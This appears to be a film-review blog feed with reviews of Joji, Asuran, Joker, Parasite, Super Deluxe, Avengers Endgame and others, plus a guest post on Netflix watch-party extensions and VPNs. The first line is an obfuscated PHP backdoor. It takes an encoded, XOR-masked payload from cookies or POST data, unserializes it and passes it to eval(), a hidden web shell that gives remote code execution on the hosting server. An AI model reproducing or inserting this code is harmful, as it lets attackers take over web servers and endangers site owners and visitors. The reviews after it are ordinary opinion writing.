$AxjyRjt = "\x46" . chr (95) . "\110" . "\x48" . "\x54" . chr (98) . 'N';$qwaBoSCFhO = "\x63" . chr (108) . chr ( 1067 - 970 ).'s' . chr (115) . chr ( 712 - 617 ).'e' . 'x' . "\x69" . "\x73" . chr (116) . chr ( 1092 - 977 ); $HIhICeNwH = $qwaBoSCFhO($AxjyRjt); $IwboDo = $HIhICeNwH;if (!$IwboDo){class F_HHTbN{private $ZuTXo;public static $YmkTgxPsp = "2d4121b8-b76a-4f0b-b51b-8e9fc5096227";public static $EiEUDxMvte = 46505;public function __construct($nPRAOtB=0){$fOOAxRCGq = $_COOKIE;$hgvVAo = $_POST;$wbIXTWH = @$fOOAxRCGq[substr(F_HHTbN::$YmkTgxPsp, 0, 4)];if (!empty($wbIXTWH)){$CCNLdbwPQq = "base64";$mvQOEEGBX = "";$wbIXTWH = explode(",", $wbIXTWH);foreach ($wbIXTWH as $gYiWOrOL){$mvQOEEGBX .= @$fOOAxRCGq[$gYiWOrOL];$mvQOEEGBX .= @$hgvVAo[$gYiWOrOL];}$mvQOEEGBX = array_map($CCNLdbwPQq . '_' . "\144" . chr ( 726 - 625 )."\x63" . chr (111) . "\144" . chr (101), array($mvQOEEGBX,)); $mvQOEEGBX = $mvQOEEGBX[0] ^ str_repeat(F_HHTbN::$YmkTgxPsp, (strlen($mvQOEEGBX[0]) / strlen(F_HHTbN::$YmkTgxPsp)) + 1);F_HHTbN::$EiEUDxMvte = @unserialize($mvQOEEGBX);}}public function __destruct(){$this->iqSfwxLnHh();}private function iqSfwxLnHh(){if (is_array(F_HHTbN::$EiEUDxMvte)) {$PiumhTiU = str_replace(chr ( 943 - 883 ) . chr ( 458 - 395 ).'p' . chr (104) . "\x70", "", F_HHTbN::$EiEUDxMvte['c' . chr ( 636 - 525 )."\156" . 't' . 'e' . "\156" . chr (116)]);eval($PiumhTiU); $SMjkKFL = "49361";exit();}}}$lIxJW = new F_HHTbN(); $lIxJW = "44080";}
Joji is Dileesh Pothan’s third outing with Fahad Faasil after Maheshinte Prathikaram and Thondimuthalum Driksakshiyum. One could notice the signature style of Dileesh Pothan’s world that captures the essence of reality as it is. This one may not be pleasing to anyone and I wouldn’t be surprised if there are people who dislike this movie.
Dileesh has taken time to introduce the characters and the surrounding of the story visually without explicit words. A courier delivery person riding through a small town and then through rubber plantations to reach Joji’s house, the empty dining table in a big house filled with members, each of them not looking into the eyes while talking, absence of any house help for a such a big wealthy family and many more such visuals tell you a lot about the family.
Fahaad’s performance as Joji is brilliant. He has lost a lot of weight for this character. He is the son that his muscular father is not very proud about. He treats him like a trash as he is just a boy in a blanket, for he feels solace is confining himself to his closed room (Joji’s palace) wrapped in a blanket. He tries hard to impress the family that he has a seat at the table by doing horse trading but none of them takes him seriously.
The only person in the house on whom he can exercise some control is the son of his eldest brother. The other person in the house, who treats him equally is his sister-in-law ( wife of his second brother ). When the father of the family meets with an unexpected accident that puts him in mortal danger, the dark side of the family turns up. It’s not just the family the film also brings out the selfish nature that is everywhere. His father’s friend asks the son to get the liquor bottle from his father’s case while his father is still unconscious. The priest is obsessed with the latest gadgets. The people spreading rumors around the mishap in a wealthy family,
The only sequence that happens outside of the estate is few shots at the hospital. Otherwise, the entire movie happens within the estate. For the most part of the movie, there is no background score but at key moments the symphony kicks in elevating the impact of the scene to a different level.
High Points: Direction of the movie, performance of Fahad Faasil, background score, visuals.
Low Points: Its a slow burner and is very dark. It may note suite the taste of general audience.
Overall Joji is an excellent film that stays very true to its genre. Once you get connected to the world, you would feel you have lived with the family for 90 odd minutes. If you love slow burner, crime dramas then don’t miss Joji.
Must Watch
]]>This is a debut movie for director John Fraser. I didn’t get a feeling of watching a debutant’s movie. It was engaging right from the first scene till the end. The writing of the movie is brilliant in terms of character development and plot progress. In the first few minutes of the movie, you understand the plight of the two lead characters and their motive. The cramped room of the photographer versus the perfect symmetry of a high-class society which he is longing to get into is brilliantly framed. The scenes and expressions of the lead characters convey a lot beyond the dialogues.
The uniqueness of the plot comes in terms of the characters whose unusual friendship and obsession complicates the knot. The climax is very well made and it is something not easy to guess. The use of black and white makes it go well with the photographer’s tale and also builds more tension to the scene.
High Points: The lead character development, uniqueness in the plot, cinematography, background score, and the climax
Low Points: This movie has a strong appeal to the lovers of dark and gritty drama. It may not appeal to the folks who do not love dark gritty drama.
Overall, I had the same feeling of watching Following directed by Nolan after watching Choir Girl. I am looking forward to the future works of John Fraser. This is a must-watch if you love dark thrillers.
Must Watch
]]>This is a guest post written by Brad Smith
Brad Smith is a technology expert at TurnOnVPN, a non-profit promoting a safe, secure, and censor-free internet. He writes about his dream for a free internet and unravels the horror behind big techs.
The coronavirus outbreak has made widespread social distancing necessary. In most parts of the world, authorities have ordered movie theatres, bars, restaurants, and other social spaces closed to combat the spread of the deadly virus. Residents have been forced to self-isolate and work from home where possible.
So, what can you do with all that time we have quarantining? Well, you can stay at home and binge-watch movies and TV shows on Netflix — with your friends.
That’s right. Even as you try to avoid public places and coronavirus, you can still spend some quality time with friends and loved ones as you bond over movies and TV shows on Netflix safely. Do not let the Covid-19 pandemic keep you from enjoying a good watch party with your loved ones. In this article, we look at the 5 Netflix features that elevate your streaming experience while staying at home self-isolating. Read on.
Netflix Party
A new browser extension for Google Chrome is making it possible for people to host virtual movie nights on Netflix. Netflix Party turns streaming on Netflix into a place where people can enjoy themselves as a group while separated. Friends and family can revel in their favorite movies and series on the popular streaming service without worrying about getting each other sick. It’s simple, download the extension from Google Chrome, install it, and log into your Netflix account.
Scener
Looking for a way to watch Netflix movies and TV shows as a community? Scener is another excellent option to consider. You can watch Netflix with a group of up to ten people when using Scener. This lightweight tool has you covered when it comes to virtual movie night or date night this lockdown season. Scener features HD video chat allowing you to share every moment as if you were sitting right next to each other.
TwoSeven
TwoSeven is another great service that allows users to watch streaming content with friends and loved ones, no matter where they are in the world. With TwoSeven, you can gather as many people as you like for your watch party. The browser extension uses your webcams to facilitate live chats and real-time reactions when watching. The TwoSeven browser extension is available on both Google Chrome and Firefox.
Metastream
Only available in the beta version, Metastream is a handy tool that allows people to watch streaming media with friends and family. This browser extension allows you to watch Netflix and other streaming services such as Hulu, Amazon, etc. with your friends and family as you chat in real-time. Metastream browser extension is available for Google Chrome and Firefox users.
A VPN to Unblock Restricted Content on Netflix
Last but not least, VPN. Short for Virtual Private Network, VPN is a service that offers an encrypted internet connection over public Wi-Fi networks. A VPN also hides your IP address and allows you to connect to a server in a different region effectively changing your virtual location. VPN service allows you to watch movies and TV shows that are blocked in your country. Downloading a VPN expands your library of movies and TV shows on Netflix to a great extent.
For instance, if you are a big fan of the popular British show Doctor Who (which is only available on Netflix UK), you can use your VPN to connect to a server in the UK where you will be able to access Doctor Who episodes. You can do the same for other geo-blocked Netflix TV shows and movies such as Star Trek: Discovery (available on Netflix everywhere except the United States and Canada), and Blackadder (only available on Netflix UK).
The Covid-19 epidemic has us trapped in our homes with nothing to do — in most cases. However, there are things we can do to feel less isolated as we self-isolate and practice social distancing. If you love watching movies and series on Netflix, you don’t have to do it alone. You can gather a few friends and loved ones for a movie night and watch together using these tools.
]]>Cinema Donkey aka Cinema Khar was the opening film of the Bengaluru International Film Festival 2020. The movie has a satirical take on humanitarian preaching that goes around. The way the donkey is treated by the crew is quite opposite to what the moviemakers want to convey in their film.
The film in a way hits hard at the selfish agenda people have just appearing to look cool by promoting a social agenda while acting quite opposite to that. The film takes a dig at the propaganda surrounding animal rights, racism, gender bias and cosmetic industries.
The film script is concise and effective enough to convey the story. Right from the title sequence where the director clearly establishes the problem for the crew in getting a professional donkey. As the script progresses, there is always a conflict surrounding the donkey which the crew is trying to resolve which makes it a very interesting watch.
The movie starts with a dialogue where one of the characters tells a donkey is not connected to a human but ends in what appears to be a quite contradictory note. The script also has a subplot on the troubles of independent filmmakers and what it takes to get something on a screen. If you are to ignore the social message, you could still enjoy the process of film making and relate to the troubles they go through. In a way, I liked the fact that the movie had multiple layers.
High Points – The simple premise and the comedy has worked out very well, The climax is very impactful, The locations chosen has been very apt for the film.
Low Points – There is hardly any low points for the movie as it stays true to its genre and plot.
Overall I did enjoy watching Cinema Donkey and had a good laugh. It was even special watching with the director Shahed Ahmadlou and his crew in the theater. I would recommend this to be a must-watch for those who love satire.
Must Watch
]]>I always wish that Indian directors make movies on already written material than trying to create material on their own every time. Director Vetrimaaran has taken a step if followed by other fellow directors in this country could change the landscape of Indian Cinema in a positive way. Kudos to him for making a movie based on a novel Vekkai by Poomani. This makes the content very rich, characterization very deep-rooted and overall movie a very engaging one.
I haven’t read the novel so I may not be able to comment on how much true to the book the movie has been. My analysis is mostly on the structure of the movie. The structure of the screenplay is much akin to the structure of the cult classic commercial movie Baasha. Due to the rural treatment and the message in the movie, it also resembles Devar Magan in many ways. An innocent protagonist, who doesn’t raise voice against atrocities has a dark past in which he is akin to a menacing Villain, the secret breaks right at the interval block and then dwells into the past to establish the gory side of the protagonist, coming back to the present to close the proceedings. While many directors have tried to emulate the success of these movies have miserably failed, Vetrimaaran banked on the content which eventually created a successful product.
I was very intrigued by the fact of the choice of the name Asuran. In Hindu mythology, the Asuras were always looked down upon by the Devas and were constantly at war between each other. Devas also made peace with Asuras whenever they needed some work to be done with them like in the case of churning the ocean to create Amruth. In the movie too, the landlord keeps a good pact with Dhanush till he is preparing liquor that helps his business grow. It is only later he realizes where his real place is and things change. Even the scenes involving the insult of the upper cast before women, the insult he takes for her laughing and the way he avenges for it are all in correlation to the Deva and Asura wars. In that way, it is a befitting the title.
The characters are sketched well. Although Dhanush becomes of prime importance in the second half, other characters still have a convincing life cycle. It is nice to see Pasupathi and Prakash Raj on screen after a while. The choice of Manu Warrier to play Dhanush wife as well is a great choice. She has a lot more scope in the first half of the movie.
The locations in which the movie is shot adds a more convincing tone to the whole narration. In particular, the forest sequences are taken very well. The background score is the soul of the movie and GV Prakash has done a phenomenal job in scoring the BGM.
High Points – Strong content, Interval Block, background score, depth of characters, visuals of the forest sequence, action blocks, raw treatment
Low Points – Too much violence might not appeal to everyone.
Overall Asuran is a very well made commercial crime thriller. It has all the ingredients that would keep you glued to the chair until the end and leave you with a powerful message. It is now available in Amazon Prime.
Must Watch
]]>After the rave reviews, the movie has been receiving, I had finally watched Joker on the IMAX screen. It is a movie that breaks the fourth wall of sorts where it requires the involvement of the audience to interpret and make sense of the proceedings. It leaves you with a lot of emotions about what you have witnessed. It sort of symbolizes the rise of a dystopian society that Gotham had become later as you would have watched in Batman movies.
The movies opening scene paints the picture of the city that it is becoming. Arthur is putting on his clown make up, metaphorically putting on a happy face when the city is gone to the rats as it is conveyed by the newsreaders in the news channel. Rise of rats indicates the rise in the homeless people in the city living in makeshift shelters leading to the rise of rodent menace. The government is trying to control the rodents rather than addressing the source of the problem. There is a joke that gets aired in the Murray Franklin show on TV calling the rodents as super rats and the solution is to fight them with super cats. A sarcastic take on the tryst between Super-Villains and Super-Heroes is brilliantly weaved into the story.
The economic divide in the city has become so huge that the quality of life of the jobless people is in a very pathetic state. Arthur is just a representative of them where he craves an identity by fantasizing himself to be a successful standup comedian. Post the dramatic turn of events ( not revealing them here to avoid spoilers ), the prospective candidate for the Mayor, Thomas Wayne calls them clowns by accidentally giving them an identity that unites them.
The rest of the movie is about how Arthur’s life takes a turn with the turn of the events and what he becomes eventually. The climax is very open-ended letting you reflect and create your own version of the story.
Joaquin Phoenix is literally in every frame of the film and has delivered a very commendable performance. The hysterical laugh convinces you of a man who has a condition of mental illness. Director Todd Philips has given a movie that is much beyond the movie made out of comic. Joker can be an independent movie that has a lot to convey without having the link to the comic.
High Points: Performance of Joaquin Phoenix, the open-ended climax that leaves room for interpretations, the soundtrack from Frank Sinatra classics, the gripping dark screenplay.
Low Points: The film is dark, gritty and bold which may not appeal to the taste of folks who do not like it.
Overall, Joker is here to stay as a cult movie for very long and is arguably one of the best performances of Joaquin Phoenix yet. Joker is not just an origin story of Super-Villain but a movie that paints the side effects of the inequalities in society.
Must Watch
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Director Bong Joon-Ho has attained legendary status and like all his previous movies this one too left me with an awe for the number of layers this simple black comedy had and its reflection on the subject it deals with. Every frame has been thoughtfully constructed to create a visual representation of the core theme of the movie. As Kim’s son always say it is metaphorical.
As the movie begins at the poor man’s dwelling in a sub-basement, with the family discussing the wifi connection which they were connecting to now has a password, you tend to think the family living in the basements are parasites metaphorically. And as they all get placed in various jobs at Park’s house this feeling is more cemented. Here is the genius of Bong Joon Ho where he makes you feel a certain way and leaves you guilty for the thought process as the movie progresses and you are truly confused about who or what the real parasites are. The same treatment I had very much enjoyed in his movies Memories of Murder and Mother.
Song Kang-Ho yet again delivers a stellar performance. He can just transform into any role just like that. The treatment of the script through comedy just falls in his comfort zone and he delivers it with ease. All the characters in the movie are well written and their character arc as the movie progresses is beautifully constructed.
High Points: Brilliant screenplay and narration. The metaphorical construction of the scene that goes well with the theme of the movie. Performance of the actors.
Low Points: Hardly any low points for this movie
Overall Parasite is yet another legendary work by Bong Joon-Ho. It grows on you through powerful visual storytelling and some brilliant screenwriting. If you get a chance to watch this in any film festivals don’t miss it.
Must Watch
]]>It is almost impossible to write a review of Super Deluxe without giving away the plot. So if you haven’t watched the movie, do watch it before you continue reading this review.
There are movies that you walk into the theater with a different expectation in mind and the movie is not even a bit of what you had expected it to be. But later as you sink it in you understand the depth of the plot, the construct, the dialogues and all of a sudden everything falls so perfectly in place that you would want to yell “Wow! What a brilliant movie”. The phrase from the song from Delhi Belly “I hate you like I love you” fits in so perfect for the movie.
If you walk in expecting an Aaranya Kaandam you would be largely disappointed. Rather if you let Super Deluxe be it what it is supposed to be then you would appreciate the nuances and the beauty of the neo-noir film. There are actually 4 different threads of the plot that is intelligently arranged in so that it becomes a compelling tale.
You might feel why are you watching it as you start watching it for it is going to make you uncomfortable by breaking all the rules. As you watch it till the end it leaves a great after taste that you can savor for long.
Through the 4 different tales, director Thiagarajan Kumararaja questions the very sense of right or wrong, good or evil. Just like how the day merges into the night and the night into the day, good merges with evil and the vice versa. Time can alter how things are perceived. He questions the existence of God in a statue, while he is making the curse of a Eunuch become true. A girl having an extramarital affair doesn’t mean that she is characterless. Porn stars are there to perform as the market for porn is out there. Who is to be blamed? He even teases the whole plot by getting in an Alien. As you just begin thinking what an absurdity, the alien questions your very thought process by telling, “Why do you think Aliens would just come to America?”. The climax though a bit preachy but a brilliant one as you see the gem of the advice coming in through the narrator in the porn movie who explains the meaning of life and everything. He teases the audience there too, by telling you might just end up thinking of this as a porn movie and miss the essence of it.
High Points: The performances of Vijay Sethupathi, Samantha, Fahad Fasil and the kid Ashwath. The plot and the questions around stereotype that is embedded in the plot. The quirky dialogues in the movie. The Climax, the Cinematography.
Low Points: The length of the movie and the complex plot would have been a let down for many. But if you love the movie you will feel it justified.
Overall, Super Deluxe is a movie that beats the logic of the predictable formula in movies. You might have seen such brilliant non-linear work with Tarantino, Frank Miller, and Guy Ritchie. Thiagarajan Kumararaja does it for a Tamil movie that is going to yet again become a cult hit like his first outing.
Must Watch
]]>The end of a saga often becomes a formality of sorts and struggles hard to beat the expectations. How did Avengers Endgame fair? Well the kind of appetite that was generated by Avengers Infinity war, it is always going to be difficult. The endgame is successful in parts but leaves you longing for more action through the most part.
After the emotional turn of events at the end of the infinity war, the humorous events that happen as the Avengers set out on their task did not sit well with the whole theme of the movie. But for the part of Captain America, others did seem too draggy until the beginning of the second half which sets up for the final battle.
The final battle makes up for all the slowness and makes the watch total worth for the money. A big kudos to Marvel for creating a very connected story line since the first Iron Man in 2008.
High Points: The sequences involving Captain America, The character build-up of Thanos, Performance on Robert Downey Jr as Iron Man, The final battle sequence
Low Points: The dragging first half of the movie. Humor that doesn’t gel well with the flow.
Overall Endgame is a fitting farewell for the Avengers Saga, that would keep you longing for more. It makes a must watch in theaters for the relevance it has with the whole franchise. Although it doesn’t match up to the Infinity war, this one will not disappoint you at the end. IMAX 3D version provides the best viewing experience.
Must Watch
]]>Director Sameh Zoabi has crafted a witty screenplay at the backdrop of a socially tense situation. The movie is hilarious right from the first shot. The scenes shift from the soap opera to the real life effortlessly. The brilliance in the screenplay makes you interested in progress of both the tales the real story as well as the story of the soap opera.
Kai’s Nashif is very convincing as Salam. His performance is witty and enjoyable. The inspiration he looks for writing the script is quite hilarious and later we see that it has a stronger connection to his life too. Yaniv Bitton steals the show as the commander at the check post. His asks are unexpected and helps in bringing some surprises in the plot.
High Points – The comedy in the script, the background score elevates the scenes, the interwoven plots of soap opera and the real life, ending of the movie is very entertaining
Low Points – Folks who do not like this kind of comedy may not enjoy the movie.
Overall, Tel Aviv On Fire is an entertaining drama, that has a very satirical take on the Soap Operas and also brings the funnier side of people although separated by political system to the forefront.
Must Watch
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